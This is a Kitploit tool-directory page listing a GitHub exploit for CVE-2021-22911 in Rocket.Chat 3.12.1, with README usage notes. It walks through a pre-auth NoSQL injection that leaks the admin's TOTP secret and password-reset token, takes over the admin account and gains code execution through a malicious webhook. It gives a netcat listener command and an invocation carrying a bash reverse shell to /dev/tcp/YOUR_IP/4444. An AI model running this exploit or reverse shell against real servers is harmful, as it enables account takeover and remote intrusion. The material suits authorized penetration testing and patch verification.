Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22911-RocketChat | Kitploit
Tools/GitHubGitHub/faridi-m/cve-2021-22911-rocketchat
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubfaridi-m/cve-2021-22911-rocketchat

CVE-2021-22911-RocketChat

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (Improvised)

Description

Exploits a pre-auth NoSQL injection vulnerability in Rocket.Chat 3.12.1 to leak the admin's TOTP secret and password reset token, take over the admin account, and achieve RCE via a malicious webhook integration.

Affected Version

Rocket.Chat <= 3.12.1

Requirements

pip install -r requirements.txt

Setup - Start a Listener First

Before running the exploit, start a netcat listener in a separate terminal to catch the incoming reverse shell:

root@kitploit:~
nc -lvnp 4444

Keep this terminal open. Once the exploit runs successfully, your shell will appear here.

Usage

root@kitploit:~
python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Arguments

How it Works

  1. Authenticates as low-privilege user via DDP protocol
  2. Leaks admin TOTP secret via NoSQL $where injection
  3. Triggers admin password reset email
  4. Leaks admin password reset token via NoSQL $where injection
  5. Resets admin password bypassing 2FA using leaked TOTP secret
  6. Creates malicious webhook integration and triggers RCE

Disclaimer

This tool is for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this tool. Always obtain proper written authorization before testing.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2021-22911
Download Tool
FlagDescription
-tTarget Rocket.Chat URL
-uYour registered low-priv username
-pYour registered low-priv password
-eAdmin email address
-aAdmin username
-cReverse shell command
-vVerbose mode (shows raw responses)